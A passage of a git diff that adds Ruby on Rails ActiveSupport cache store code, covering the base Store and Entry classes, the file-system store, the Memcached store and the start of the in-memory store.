+ if prefix = ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"]
+ expanded_cache_key << "#{prefix}/"
+ end
+
+ expanded_cache_key << retrieve_cache_key(key)
+ expanded_cache_key
+ end
+
+ private
+
+ def retrieve_cache_key(key)
+ case
+ when key.respond_to?(:cache_key) then key.cache_key
+ when key.is_a?(Array) then key.map { |element| retrieve_cache_key(element) }.to_param
+ when key.respond_to?(:to_a) then retrieve_cache_key(key.to_a)
+ else key.to_param
+ end.to_s
+ end
+
+ # Obtains the specified cache store class, given the name of the +store+.
+ # Raises an error when the store class cannot be found.
+ def retrieve_store_class(store)
+ require "active_support/cache/#{store}"
+ rescue LoadError => e
+ raise "Could not find cache store adapter for #{store} (#{e})"
+ else
+ ActiveSupport::Cache.const_get(store.to_s.camelize)
+ end
+ end
+
+ # An abstract cache store class. There are multiple cache store
+ # implementations, each having its own additional features. See the classes
+ # under the ActiveSupport::Cache module, e.g.
+ # ActiveSupport::Cache::MemCacheStore. MemCacheStore is currently the most
+ # popular cache store for large production websites.
+ #
+ # Some implementations may not support all methods beyond the basic cache
+ # methods of +fetch+, +write+, +read+, +exist?+, and +delete+.
+ #
+ # ActiveSupport::Cache::Store can store any serializable Ruby object.
+ #
+ # cache = ActiveSupport::Cache::MemoryStore.new
+ #
+ # cache.read('city') # => nil
+ # cache.write('city', "Duckburgh")
+ # cache.read('city') # => "Duckburgh"
+ #
+ # Keys are always translated into Strings and are case sensitive. When an
+ # object is specified as a key and has a +cache_key+ method defined, this
+ # method will be called to define the key. Otherwise, the +to_param+
+ # method will be called. Hashes and Arrays can also be used as keys. The
+ # elements will be delimited by slashes, and the elements within a Hash
+ # will be sorted by key so they are consistent.
+ #
+ # cache.read('city') == cache.read(:city) # => true
+ #
+ # Nil values can be cached.
+ #
+ # If your cache is on a shared infrastructure, you can define a namespace
+ # for your cache entries. If a namespace is defined, it will be prefixed on
+ # to every key. The namespace can be either a static value or a Proc. If it
+ # is a Proc, it will be invoked when each key is evaluated so that you can
+ # use application logic to invalidate keys.
+ #
+ # cache.namespace = -> { @last_mod_time } # Set the namespace to a variable
+ # @last_mod_time = Time.now # Invalidate the entire cache by changing namespace
+ #
+ # Caches can also store values in a compressed format to save space and
+ # reduce time spent sending data. Since there is overhead, values must be
+ # large enough to warrant compression. To turn on compression either pass
+ # <tt>compress: true</tt> in the initializer or as an option to +fetch+
+ # or +write+. To specify the threshold at which to compress values, set the
+ # <tt>:compress_threshold</tt> option. The default threshold is 16K.
+ class Store
+
+ cattr_accessor :logger, :instance_writer => true
+
+ attr_reader :silence, :options
+ alias :silence? :silence
+
+ # Create a new cache. The options will be passed to any write method calls
+ # except for <tt>:namespace</tt> which can be used to set the global
+ # namespace for the cache.
+ def initialize(options = nil)
+ @options = options ? options.dup : {}
+ end
+
+ # Silence the logger.
+ def silence!
+ @silence = true
+ self
+ end
+
+ # Silence the logger within a block.
+ def mute
+ previous_silence, @silence = defined?(@silence) && @silence, true
+ yield
+ ensure
+ @silence = previous_silence
+ end
+
+ # Set to +true+ if cache stores should be instrumented.
+ # Default is +false+.
+ def self.instrument=(boolean)
+ Thread.current[:instrument_cache_store] = boolean
+ end
+
+ def self.instrument
+ Thread.current[:instrument_cache_store] || false
+ end
+
+ # Fetches data from the cache, using the given key. If there is data in
+ # the cache with the given key, then that data is returned.
+ #
+ # If there is no such data in the cache (a cache miss), then +nil+ will be
+ # returned. However, if a block has been passed, that block will be passed
+ # the key and executed in the event of a cache miss. The return value of the
+ # block will be written to the cache under the given cache key, and that
+ # return value will be returned.
+ #
+ # cache.write('today', 'Monday')
+ # cache.fetch('today') # => "Monday"
+ #
+ # cache.fetch('city') # => nil
+ # cache.fetch('city') do
+ # 'Duckburgh'
+ # end
+ # cache.fetch('city') # => "Duckburgh"
+ #
+ # You may also specify additional options via the +options+ argument.
+ # Setting <tt>force: true</tt> will force a cache miss:
+ #
+ # cache.write('today', 'Monday')
+ # cache.fetch('today', force: true) # => nil
+ #
+ # Setting <tt>:compress</tt> will store a large cache entry set by the call
+ # in a compressed format.
+ #
+ # Setting <tt>:expires_in</tt> will set an expiration time on the cache.
+ # All caches support auto-expiring content after a specified number of
+ # seconds. This value can be specified as an option to the constructor
+ # (in which case all entries will be affected), or it can be supplied to
+ # the +fetch+ or +write+ method to effect just one entry.
+ #
+ # cache = ActiveSupport::Cache::MemoryStore.new(expires_in: 5.minutes)
+ # cache.write(key, value, expires_in: 1.minute) # Set a lower value for one entry
+ #
+ # Setting <tt>:race_condition_ttl</tt> is very useful in situations where
+ # a cache entry is used very frequently and is under heavy load. If a
+ # cache expires and due to heavy load seven different processes will try
+ # to read data natively and then they all will try to write to cache. To
+ # avoid that case the first process to find an expired cache entry will
+ # bump the cache expiration time by the value set in <tt>:race_condition_ttl</tt>.
+ # Yes, this process is extending the time for a stale value by another few
+ # seconds. Because of extended life of the previous cache, other processes
+ # will continue to use slightly stale data for a just a big longer. In the
+ # meantime that first process will go ahead and will write into cache the
+ # new value. After that all the processes will start getting new value.
+ # The key is to keep <tt>:race_condition_ttl</tt> small.
+ #
+ # If the process regenerating the entry errors out, the entry will be
+ # regenerated after the specified number of seconds. Also note that the
+ # life of stale cache is extended only if it expired recently. Otherwise
+ # a new value is generated and <tt>:race_condition_ttl</tt> does not play
+ # any role.
+ #
+ # # Set all values to expire after one minute.
+ # cache = ActiveSupport::Cache::MemoryStore.new(expires_in: 1.minute)
+ #
+ # cache.write('foo', 'original value')
+ # val_1 = nil
+ # val_2 = nil
+ # sleep 60
+ #
+ # Thread.new do
+ # val_1 = cache.fetch('foo', race_condition_ttl: 10) do
+ # sleep 1
+ # 'new value 1'
+ # end
+ # end
+ #
+ # Thread.new do
+ # val_2 = cache.fetch('foo', race_condition_ttl: 10) do
+ # 'new value 2'
+ # end
+ # end
+ #
+ # # val_1 => "new value 1"
+ # # val_2 => "original value"
+ # # sleep 10 # First thread extend the life of cache by another 10 seconds
+ # # cache.fetch('foo') => "new value 1"
+ #
+ # Other options will be handled by the specific cache store implementation.
+ # Internally, #fetch calls #read_entry, and calls #write_entry on a cache
+ # miss. +options+ will be passed to the #read and #write calls.
+ #
+ # For example, MemCacheStore's #write method supports the +:raw+
+ # option, which tells the memcached server to store all values as strings.
+ # We can use this option with #fetch too:
+ #
+ # cache = ActiveSupport::Cache::MemCacheStore.new
+ # cache.fetch("foo", force: true, raw: true) do
+ # :bar
+ # end
+ # cache.fetch('foo') # => "bar"
+ def fetch(name, options = nil)
+ if block_given?
+ options = merged_options(options)
+ key = namespaced_key(name, options)
+
+ cached_entry = find_cached_entry(key, name, options) unless options[:force]
+ entry = handle_expired_entry(cached_entry, key, options)
+
+ if entry
+ get_entry_value(entry, name, options)
+ else
+ save_block_result_to_cache(name, options) { |_name| yield _name }
+ end
+ else
+ read(name, options)
+ end
+ end
+
+ # Fetches data from the cache, using the given key. If there is data in
+ # the cache with the given key, then that data is returned. Otherwise,
+ # +nil+ is returned.
+ #
+ # Options are passed to the underlying cache implementation.
+ def read(name, options = nil)
+ options = merged_options(options)
+ key = namespaced_key(name, options)
+ instrument(:read, name, options) do |payload|
+ entry = read_entry(key, options)
+ if entry
+ if entry.expired?
+ delete_entry(key, options)
+ payload[:hit] = false if payload
+ nil
+ else
+ payload[:hit] = true if payload
+ entry.value
+ end
+ else
+ payload[:hit] = false if payload
+ nil
+ end
+ end
+ end
+
+ # Read multiple values at once from the cache. Options can be passed
+ # in the last argument.
+ #
+ # Some cache implementation may optimize this method.
+ #
+ # Returns a hash mapping the names provided to the values found.
+ def read_multi(*names)
+ options = names.extract_options!
+ options = merged_options(options)
+ results = {}
+ names.each do |name|
+ key = namespaced_key(name, options)
+ entry = read_entry(key, options)
+ if entry
+ if entry.expired?
+ delete_entry(key, options)
+ else
+ results[name] = entry.value
+ end
+ end
+ end
+ results
+ end
+
+ # Writes the value to the cache, with the key.
+ #
+ # Options are passed to the underlying cache implementation.
+ def write(name, value, options = nil)
+ options = merged_options(options)
+ instrument(:write, name, options) do
+ entry = Entry.new(value, options)
+ write_entry(namespaced_key(name, options), entry, options)
+ end
+ end
+
+ # Deletes an entry in the cache. Returns +true+ if an entry is deleted.
+ #
+ # Options are passed to the underlying cache implementation.
+ def delete(name, options = nil)
+ options = merged_options(options)
+ instrument(:delete, name) do
+ delete_entry(namespaced_key(name, options), options)
+ end
+ end
+
+ # Return +true+ if the cache contains an entry for the given key.
+ #
+ # Options are passed to the underlying cache implementation.
+ def exist?(name, options = nil)
+ options = merged_options(options)
+ instrument(:exist?, name) do
+ entry = read_entry(namespaced_key(name, options), options)
+ entry && !entry.expired?
+ end
+ end
+
+ # Delete all entries with keys matching the pattern.
+ #
+ # Options are passed to the underlying cache implementation.
+ #
+ # All implementations may not support this method.
+ def delete_matched(matcher, options = nil)
+ raise NotImplementedError.new("#{self.class.name} does not support delete_matched")
+ end
+
+ # Increment an integer value in the cache.
+ #
+ # Options are passed to the underlying cache implementation.
+ #
+ # All implementations may not support this method.
+ def increment(name, amount = 1, options = nil)
+ raise NotImplementedError.new("#{self.class.name} does not support increment")
+ end
+
+ # Decrement an integer value in the cache.
+ #
+ # Options are passed to the underlying cache implementation.
+ #
+ # All implementations may not support this method.
+ def decrement(name, amount = 1, options = nil)
+ raise NotImplementedError.new("#{self.class.name} does not support decrement")
+ end
+
+ # Cleanup the cache by removing expired entries.
+ #
+ # Options are passed to the underlying cache implementation.
+ #
+ # All implementations may not support this method.
+ def cleanup(options = nil)
+ raise NotImplementedError.new("#{self.class.name} does not support cleanup")
+ end
+
+ # Clear the entire cache. Be careful with this method since it could
+ # affect other processes if shared cache is being used.
+ #
+ # Options are passed to the underlying cache implementation.
+ #
+ # All implementations may not support this method.
+ def clear(options = nil)
+ raise NotImplementedError.new("#{self.class.name} does not support clear")
+ end
+
+ protected
+ # Add the namespace defined in the options to a pattern designed to
+ # match keys. Implementations that support delete_matched should call
+ # this method to translate a pattern that matches names into one that
+ # matches namespaced keys.
+ def key_matcher(pattern, options)
+ prefix = options[:namespace].is_a?(Proc) ? options[:namespace].call : options[:namespace]
+ if prefix
+ source = pattern.source
+ if source.start_with?('^')
+ source = source[1, source.length]
+ else
+ source = ".*#{source[0, source.length]}"
+ end
+ Regexp.new("^#{Regexp.escape(prefix)}:#{source}", pattern.options)
+ else
+ pattern
+ end
+ end
+
+ # Read an entry from the cache implementation. Subclasses must implement
+ # this method.
+ def read_entry(key, options) # :nodoc:
+ raise NotImplementedError.new
+ end
+
+ # Write an entry to the cache implementation. Subclasses must implement
+ # this method.
+ def write_entry(key, entry, options) # :nodoc:
+ raise NotImplementedError.new
+ end
+
+ # Delete an entry from the cache implementation. Subclasses must
+ # implement this method.
+ def delete_entry(key, options) # :nodoc:
+ raise NotImplementedError.new
+ end
+
+ private
+ # Merge the default options with ones specific to a method call.
+ def merged_options(call_options) # :nodoc:
+ if call_options
+ options.merge(call_options)
+ else
+ options.dup
+ end
+ end
+
+ # Expand key to be a consistent string value. Invoke +cache_key+ if
+ # object responds to +cache_key+. Otherwise, +to_param+ method will be
+ # called. If the key is a Hash, then keys will be sorted alphabetically.
+ def expanded_key(key) # :nodoc:
+ return key.cache_key.to_s if key.respond_to?(:cache_key)
+
+ case key
+ when Array
+ if key.size > 1
+ key = key.collect{|element| expanded_key(element)}
+ else
+ key = key.first
+ end
+ when Hash
+ key = key.sort_by { |k,_| k.to_s }.collect{|k,v| "#{k}=#{v}"}
+ end
+
+ key.to_param
+ end
+
+ # Prefix a key with the namespace. Namespace and key will be delimited
+ # with a colon.
+ def namespaced_key(key, options)
+ key = expanded_key(key)
+ namespace = options[:namespace] if options
+ prefix = namespace.is_a?(Proc) ? namespace.call : namespace
+ key = "#{prefix}:#{key}" if prefix
+ key
+ end
+
+ def instrument(operation, key, options = nil)
+ log(operation, key, options)
+
+ if self.class.instrument
+ payload = { :key => key }
+ payload.merge!(options) if options.is_a?(Hash)
+ ActiveSupport::Notifications.instrument("cache_#{operation}.active_support", payload){ yield(payload) }
+ else
+ yield(nil)
+ end
+ end
+
+ def log(operation, key, options = nil)
+ return unless logger && logger.debug? && !silence?
+ logger.debug("Cache #{operation}: #{key}#{options.blank? ? "" : " (#{options.inspect})"}")
+ end
+
+ def find_cached_entry(key, name, options)
+ instrument(:read, name, options) do |payload|
+ payload[:super_operation] = :fetch if payload
+ read_entry(key, options)
+ end
+ end
+
+ def handle_expired_entry(entry, key, options)
+ if entry && entry.expired?
+ race_ttl = options[:race_condition_ttl].to_i
+ if race_ttl && (Time.now.to_f - entry.expires_at <= race_ttl)
+ # When an entry has :race_condition_ttl defined, put the stale entry back into the cache
+ # for a brief period while the entry is begin recalculated.
+ entry.expires_at = Time.now + race_ttl
+ write_entry(key, entry, :expires_in => race_ttl * 2)
+ else
+ delete_entry(key, options)
+ end
+ entry = nil
+ end
+ entry
+ end
+
+ def get_entry_value(entry, name, options)
+ instrument(:fetch_hit, name, options) { |payload| }
+ entry.value
+ end
+
+ def save_block_result_to_cache(name, options)
+ result = instrument(:generate, name, options) do |payload|
+ yield(name)
+ end
+ write(name, result, options)
+ result
+ end
+ end
+
+ # This class is used to represent cache entries. Cache entries have a value and an optional
+ # expiration time. The expiration time is used to support the :race_condition_ttl option
+ # on the cache.
+ #
+ # Since cache entries in most instances will be serialized, the internals of this class are highly optimized
+ # using short instance variable names that are lazily defined.
+ class Entry # :nodoc:
+ DEFAULT_COMPRESS_LIMIT = 16.kilobytes
+
+ # Create a new cache entry for the specified value. Options supported are
+ # +:compress+, +:compress_threshold+, and +:expires_in+.
+ def initialize(value, options = {})
+ if should_compress?(value, options)
+ @value = compress(value)
+ @compressed = true
+ else
+ @value = value
+ end
+ @created_at = Time.now.to_f
+ @expires_in = options[:expires_in]
+ @expires_in = @expires_in.to_f if @expires_in
+ end
+
+ def value
+ convert_version_4beta1_entry! if defined?(@v)
+ compressed? ? uncompress(@value) : @value
+ end
+
+ # Check if the entry is expired. The +expires_in+ parameter can override
+ # the value set when the entry was created.
+ def expired?
+ convert_version_4beta1_entry! if defined?(@value)
+ @expires_in && @created_at + @expires_in <= Time.now.to_f
+ end
+
+ def expires_at
+ @expires_in ? @created_at + @expires_in : nil
+ end
+
+ def expires_at=(value)
+ if value
+ @expires_in = value.to_f - @created_at
+ else
+ @expires_in = nil
+ end
+ end
+
+ # Returns the size of the cached value. This could be less than
+ # <tt>value.size</tt> if the data is compressed.
+ def size
+ if defined?(@s)
+ @s
+ else
+ case value
+ when NilClass
+ 0
+ when String
+ @value.bytesize
+ else
+ @s = Marshal.dump(@value).bytesize
+ end
+ end
+ end
+
+ # Duplicate the value in a class. This is used by cache implementations that don't natively
+ # serialize entries to protect against accidental cache modifications.
+ def dup_value!
+ convert_version_4beta1_entry! if defined?(@v)
+ if @value && !compressed? && !(@value.is_a?(Numeric) || @value == true || @value == false)
+ if @value.is_a?(String)
+ @value = @value.dup
+ else
+ @value = Marshal.load(Marshal.dump(@value))
+ end
+ end
+ end
+
+ private
+ def should_compress?(value, options)
+ if value && options[:compress]
+ compress_threshold = options[:compress_threshold] || DEFAULT_COMPRESS_LIMIT
+ serialized_value_size = (value.is_a?(String) ? value : Marshal.dump(value)).bytesize
+ return true if serialized_value_size >= compress_threshold
+ end
+ false
+ end
+
+ def compressed?
+ defined?(@compressed) ? @compressed : false
+ end
+
+ def compress(value)
+ Zlib::Deflate.deflate(Marshal.dump(value))
+ end
+
+ def uncompress(value)
+ Marshal.load(Zlib::Inflate.inflate(value))
+ end
+
+ # The internals of this method changed between Rails 3.x and 4.0. This method provides the glue
+ # to ensure that cache entries created under the old version still work with the new class definition.
+ def convert_version_4beta1_entry!
+ if defined?(@v)
+ @value = @v
+ remove_instance_variable(:@v)
+ end
+ if defined?(@c)
+ @compressed = @c
+ remove_instance_variable(:@c)
+ end
+ if defined?(@x) && @x
+ @created_at ||= Time.now.to_f
+ @expires_in = @x - @created_at
+ remove_instance_variable(:@x)
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/cache/file_store.rb b/activesupport/lib/active_support/cache/file_store.rb
new file mode 100644
index 0000000..0c55aa8
--- /dev/null
+++ b/activesupport/lib/active_support/cache/file_store.rb
@@ -0,0 +1,179 @@
+require 'active_support/core_ext/marshal'
+require 'active_support/core_ext/file/atomic'
+require 'active_support/core_ext/string/conversions'
+require 'uri/common'
+
+module ActiveSupport
+ module Cache
+ # A cache store implementation which stores everything on the filesystem.
+ #
+ # FileStore implements the Strategy::LocalCache strategy which implements
+ # an in-memory cache inside of a block.
+ class FileStore < Store
+ attr_reader :cache_path
+
+ DIR_FORMATTER = "%03X"
+ FILENAME_MAX_SIZE = 228 # max filename size on file system is 255, minus room for timestamp and random characters appended by Tempfile (used by atomic write)
+ EXCLUDED_DIRS = ['.', '..'].freeze
+
+ def initialize(cache_path, options = nil)
+ super(options)
+ @cache_path = cache_path.to_s
+ extend Strategy::LocalCache
+ end
+
+ def clear(options = nil)
+ root_dirs = Dir.entries(cache_path).reject {|f| (EXCLUDED_DIRS + [".gitkeep"]).include?(f)}
+ FileUtils.rm_r(root_dirs.collect{|f| File.join(cache_path, f)})
+ end
+
+ def cleanup(options = nil)
+ options = merged_options(options)
+ each_key(options) do |key|
+ entry = read_entry(key, options)
+ delete_entry(key, options) if entry && entry.expired?
+ end
+ end
+
+ def increment(name, amount = 1, options = nil)
+ file_name = key_file_path(namespaced_key(name, options))
+ lock_file(file_name) do
+ options = merged_options(options)
+ if num = read(name, options)
+ num = num.to_i + amount
+ write(name, num, options)
+ num
+ else
+ nil
+ end
+ end
+ end
+
+ def decrement(name, amount = 1, options = nil)
+ file_name = key_file_path(namespaced_key(name, options))
+ lock_file(file_name) do
+ options = merged_options(options)
+ if num = read(name, options)
+ num = num.to_i - amount
+ write(name, num, options)
+ num
+ else
+ nil
+ end
+ end
+ end
+
+ def delete_matched(matcher, options = nil)
+ options = merged_options(options)
+ instrument(:delete_matched, matcher.inspect) do
+ matcher = key_matcher(matcher, options)
+ search_dir(cache_path) do |path|
+ key = file_path_key(path)
+ delete_entry(key, options) if key.match(matcher)
+ end
+ end
+ end
+
+ protected
+
+ def read_entry(key, options)
+ file_name = key_file_path(key)
+ if File.exist?(file_name)
+ File.open(file_name) { |f| Marshal.load(f) }
+ end
+ rescue => e
+ logger.error("FileStoreError (#{e}): #{e.message}") if logger
+ nil
+ end
+
+ def write_entry(key, entry, options)
+ file_name = key_file_path(key)
+ ensure_cache_path(File.dirname(file_name))
+ File.atomic_write(file_name, cache_path) {|f| Marshal.dump(entry, f)}
+ true
+ end
+
+ def delete_entry(key, options)
+ file_name = key_file_path(key)
+ if File.exist?(file_name)
+ begin
+ File.delete(file_name)
+ delete_empty_directories(File.dirname(file_name))
+ true
+ rescue => e
+ # Just in case the error was caused by another process deleting the file first.
+ raise e if File.exist?(file_name)
+ false
+ end
+ end
+ end
+
+ private
+ # Lock a file for a block so only one process can modify it at a time.
+ def lock_file(file_name, &block) # :nodoc:
+ if File.exist?(file_name)
+ File.open(file_name, 'r+') do |f|
+ begin
+ f.flock File::LOCK_EX
+ yield
+ ensure
+ f.flock File::LOCK_UN
+ end
+ end
+ else
+ yield
+ end
+ end
+
+ # Translate a key into a file path.
+ def key_file_path(key)
+ fname = URI.encode_www_form_component(key)
+ hash = Zlib.adler32(fname)
+ hash, dir_1 = hash.divmod(0x1000)
+ dir_2 = hash.modulo(0x1000)
+ fname_paths = []
+
+ # Make sure file name doesn't exceed file system limits.
+ begin
+ fname_paths << fname[0, FILENAME_MAX_SIZE]
+ fname = fname[FILENAME_MAX_SIZE..-1]
+ end until fname.blank?
+
+ File.join(cache_path, DIR_FORMATTER % dir_1, DIR_FORMATTER % dir_2, *fname_paths)
+ end
+
+ # Translate a file path into a key.
+ def file_path_key(path)
+ fname = path[cache_path.to_s.size..-1].split(File::SEPARATOR, 4).last
+ URI.decode_www_form_component(fname, Encoding::UTF_8)
+ end
+
+ # Delete empty directories in the cache.
+ def delete_empty_directories(dir)
+ return if File.realpath(dir) == File.realpath(cache_path)
+ if Dir.entries(dir).reject {|f| EXCLUDED_DIRS.include?(f)}.empty?
+ Dir.delete(dir) rescue nil
+ delete_empty_directories(File.dirname(dir))
+ end
+ end
+
+ # Make sure a file path's directories exist.
+ def ensure_cache_path(path)
+ FileUtils.makedirs(path) unless File.exist?(path)
+ end
+
+ def search_dir(dir, &callback)
+ return if !File.exist?(dir)
+ Dir.foreach(dir) do |d|
+ next if EXCLUDED_DIRS.include?(d)
+ name = File.join(dir, d)
+ if File.directory?(name)
+ search_dir(name, &callback)
+ else
+ callback.call name
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/cache/mem_cache_store.rb b/activesupport/lib/active_support/cache/mem_cache_store.rb
new file mode 100644
index 0000000..5122965
--- /dev/null
+++ b/activesupport/lib/active_support/cache/mem_cache_store.rb
@@ -0,0 +1,200 @@
+begin
+ require 'dalli'
+rescue LoadError => e
+ $stderr.puts "You don't have dalli installed in your application. Please add it to your Gemfile and run bundle install"
+ raise e
+end
+
+require 'digest/md5'
+require 'active_support/core_ext/marshal'
+require 'active_support/core_ext/array/extract_options'
+
+module ActiveSupport
+ module Cache
+ # A cache store implementation which stores data in Memcached:
+ # http://memcached.org/
+ #
+ # This is currently the most popular cache store for production websites.
+ #
+ # Special features:
+ # - Clustering and load balancing. One can specify multiple memcached servers,
+ # and MemCacheStore will load balance between all available servers. If a
+ # server goes down, then MemCacheStore will ignore it until it comes back up.
+ #
+ # MemCacheStore implements the Strategy::LocalCache strategy which implements
+ # an in-memory cache inside of a block.
+ class MemCacheStore < Store
+ ESCAPE_KEY_CHARS = /[\x00-\x20%\x7F-\xFF]/n
+
+ def self.build_mem_cache(*addresses)
+ addresses = addresses.flatten
+ options = addresses.extract_options!
+ addresses = ["localhost:11211"] if addresses.empty?
+ Dalli::Client.new(addresses, options)
+ end
+
+ # Creates a new MemCacheStore object, with the given memcached server
+ # addresses. Each address is either a host name, or a host-with-port string
+ # in the form of "host_name:port". For example:
+ #
+ # ActiveSupport::Cache::MemCacheStore.new("localhost", "server-downstairs.localnetwork:8229")
+ #
+ # If no addresses are specified, then MemCacheStore will connect to
+ # localhost port 11211 (the default memcached port).
+ #
+ # Instead of addresses one can pass in a MemCache-like object. For example:
+ #
+ # require 'memcached' # gem install memcached; uses C bindings to libmemcached
+ # ActiveSupport::Cache::MemCacheStore.new(Memcached::Rails.new("localhost:11211"))
+ def initialize(*addresses)
+ addresses = addresses.flatten
+ options = addresses.extract_options!
+ super(options)
+
+ if addresses.first.respond_to?(:get)
+ @data = addresses.first
+ else
+ mem_cache_options = options.dup
+ UNIVERSAL_OPTIONS.each{|name| mem_cache_options.delete(name)}
+ @data = self.class.build_mem_cache(*(addresses + [mem_cache_options]))
+ end
+
+ extend Strategy::LocalCache
+ extend LocalCacheWithRaw
+ end
+
+ # Reads multiple values from the cache using a single call to the
+ # servers for all keys. Options can be passed in the last argument.
+ def read_multi(*names)
+ options = names.extract_options!
+ options = merged_options(options)
+ keys_to_names = Hash[names.map{|name| [escape_key(namespaced_key(name, options)), name]}]
+ raw_values = @data.get_multi(keys_to_names.keys, :raw => true)
+ values = {}
+ raw_values.each do |key, value|
+ entry = deserialize_entry(value)
+ values[keys_to_names[key]] = entry.value unless entry.expired?
+ end
+ values
+ end
+
+ # Increment a cached value. This method uses the memcached incr atomic
+ # operator and can only be used on values written with the :raw option.
+ # Calling it on a value not stored with :raw will initialize that value
+ # to zero.
+ def increment(name, amount = 1, options = nil) # :nodoc:
+ options = merged_options(options)
+ instrument(:increment, name, :amount => amount) do
+ @data.incr(escape_key(namespaced_key(name, options)), amount)
+ end
+ rescue Dalli::DalliError
+ logger.error("DalliError (#{e}): #{e.message}") if logger
+ nil
+ end
+
+ # Decrement a cached value. This method uses the memcached decr atomic
+ # operator and can only be used on values written with the :raw option.
+ # Calling it on a value not stored with :raw will initialize that value
+ # to zero.
+ def decrement(name, amount = 1, options = nil) # :nodoc:
+ options = merged_options(options)
+ instrument(:decrement, name, :amount => amount) do
+ @data.decr(escape_key(namespaced_key(name, options)), amount)
+ end
+ rescue Dalli::DalliError
+ logger.error("DalliError (#{e}): #{e.message}") if logger
+ nil
+ end
+
+ # Clear the entire cache on all memcached servers. This method should
+ # be used with care when shared cache is being used.
+ def clear(options = nil)
+ @data.flush_all
+ rescue Dalli::DalliError => e
+ logger.error("DalliError (#{e}): #{e.message}") if logger
+ nil
+ end
+
+ # Get the statistics from the memcached servers.
+ def stats
+ @data.stats
+ end
+
+ protected
+ # Read an entry from the cache.
+ def read_entry(key, options) # :nodoc:
+ deserialize_entry(@data.get(escape_key(key), options))
+ rescue Dalli::DalliError => e
+ logger.error("DalliError (#{e}): #{e.message}") if logger
+ nil
+ end
+
+ # Write an entry to the cache.
+ def write_entry(key, entry, options) # :nodoc:
+ method = options && options[:unless_exist] ? :add : :set
+ value = options[:raw] ? entry.value.to_s : entry
+ expires_in = options[:expires_in].to_i
+ if expires_in > 0 && !options[:raw]
+ # Set the memcache expire a few minutes in the future to support race condition ttls on read
+ expires_in += 5.minutes
+ end
+ @data.send(method, escape_key(key), value, expires_in, options)
+ rescue Dalli::DalliError => e
+ logger.error("DalliError (#{e}): #{e.message}") if logger
+ false
+ end
+
+ # Delete an entry from the cache.
+ def delete_entry(key, options) # :nodoc:
+ @data.delete(escape_key(key))
+ rescue Dalli::DalliError => e
+ logger.error("DalliError (#{e}): #{e.message}") if logger
+ false
+ end
+
+ private
+
+ # Memcache keys are binaries. So we need to force their encoding to binary
+ # before applying the regular expression to ensure we are escaping all
+ # characters properly.
+ def escape_key(key)
+ key = key.to_s.dup
+ key = key.force_encoding(Encoding::ASCII_8BIT)
+ key = key.gsub(ESCAPE_KEY_CHARS){ |match| "%#{match.getbyte(0).to_s(16).upcase}" }
+ key = "#{key[0, 213]}:md5:#{Digest::MD5.hexdigest(key)}" if key.size > 250
+ key
+ end
+
+ def deserialize_entry(raw_value)
+ if raw_value
+ entry = Marshal.load(raw_value) rescue raw_value
+ entry.is_a?(Entry) ? entry : Entry.new(entry)
+ else
+ nil
+ end
+ end
+
+ # Provide support for raw values in the local cache strategy.
+ module LocalCacheWithRaw # :nodoc:
+ protected
+ def read_entry(key, options)
+ entry = super
+ if options[:raw] && local_cache && entry
+ entry = deserialize_entry(entry.value)
+ end
+ entry
+ end
+
+ def write_entry(key, entry, options) # :nodoc:
+ retval = super
+ if options[:raw] && local_cache && retval
+ raw_entry = Entry.new(entry.value.to_s)
+ raw_entry.expires_at = entry.expires_at
+ local_cache.write_entry(key, raw_entry, options)
+ end
+ retval
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/cache/memory_store.rb b/activesupport/lib/active_support/cache/memory_store.rb
new file mode 100644
index 0000000..4d26fb7
--- /dev/null
+++ b/activesupport/lib/active_support/cache/memory_store.rb
@@ -0,0 +1,161 @@
+require 'monitor'
+
+module ActiveSupport
+ module Cache
+ # A cache store implementation which stores everything into memory in the
+ # same process. If you're running multiple Ruby on Rails server processes
+ # (which is the case if you're using mongrel_cluster or Phusion Passenger),
+ # then this means that Rails server process instances won't be able
+ # to share cache data with each other and this may not be the most
+ # appropriate cache in that scenario.
+ #
+ # This cache has a bounded size specified by the :size options to the
+ # initializer (default is 32Mb). When the cache exceeds the allotted size,
+ # a cleanup will occur which tries to prune the cache down to three quarters
+ # of the maximum size by removing the least recently used entries.
+ #
+ # MemoryStore is thread-safe.
+ class MemoryStore < Store
+ def initialize(options = nil)
+ options ||= {}
+ super(options)
+ @data = {}
+ @key_access = {}
+ @max_size = options[:size] || 32.megabytes
+ @max_prune_time = options[:max_prune_time] || 2
+ @cache_size = 0
+ @monitor = Monitor.new
+ @pruning = false
+ end
+
+ def clear(options = nil)
+ synchronize do
+ @data.clear
+ @key_access.clear
+ @cache_size = 0
+ end
+ end
+
+ def cleanup(options = nil)
+ options = merged_options(options)
+ instrument(:cleanup, :size => @data.size) do
+ keys = synchronize{ @data.keys }
+ keys.each do |key|
+ entry = @data[key]
+ delete_entry(key, options) if entry && entry.expired?
+ end
+ end
+ end
+
+ # To ensure entries fit within the specified memory prune the cache by removing the least
+ # recently accessed entries.
+ def prune(target_size, max_time = nil)
+ return if pruning?
+ @pruning = true
+ begin
+ start_time = Time.now
+ cleanup
+ instrument(:prune, target_size, :from => @cache_size) do
+ keys = synchronize{ @key_access.keys.sort{|a,b| @key_access[a].to_f <=> @key_access[b].to_f} }
+ keys.each do |key|
+ delete_entry(key, options)
+ return if @cache_size <= target_size || (max_time && Time.now - start_time > max_time)
+ end
+ end
+ ensure
+ @pruning = false
+ end
+ end
+
+ # Returns true if the cache is currently being pruned.
+ def pruning?
+ @pruning
+ end
+
+ # Increment an integer value in the cache.
+ def increment(name, amount = 1, options = nil)
+ synchronize do
+ options = merged_options(options)
+ if num = read(name, options)
+ num = num.to_i + amount
+ write(name, num, options)
+ num
+ else
+ nil
+ end
+ end
+ end
+
+ # Decrement an integer value in the cache.
+ def decrement(name, amount = 1, options = nil)
+ synchronize do
+ options = merged_options(options)
+ if num = read(name, options)
+ num = num.to_i - amount
+ write(name, num, options)
+ num
+ else
+ nil
+ end
+ end
+ end
+
+ def delete_matched(matcher, options = nil)
+ options = merged_options(options)
+ instrument(:delete_matched, matcher.inspect) do
+ matcher = key_matcher(matcher, options)
+ keys = synchronize { @data.keys }
+ keys.each do |key|
+ delete_entry(key, options) if key.match(matcher)
+ end
+ end
+ end
+
+ def inspect # :nodoc:
+ "<##{self.class.name} entries=#{@data.size}, size=#{@cache_size}, options=#{@options.inspect}>"
+ end
+
+ # Synchronize calls to the cache. This should be called wherever the underlying cache implementation
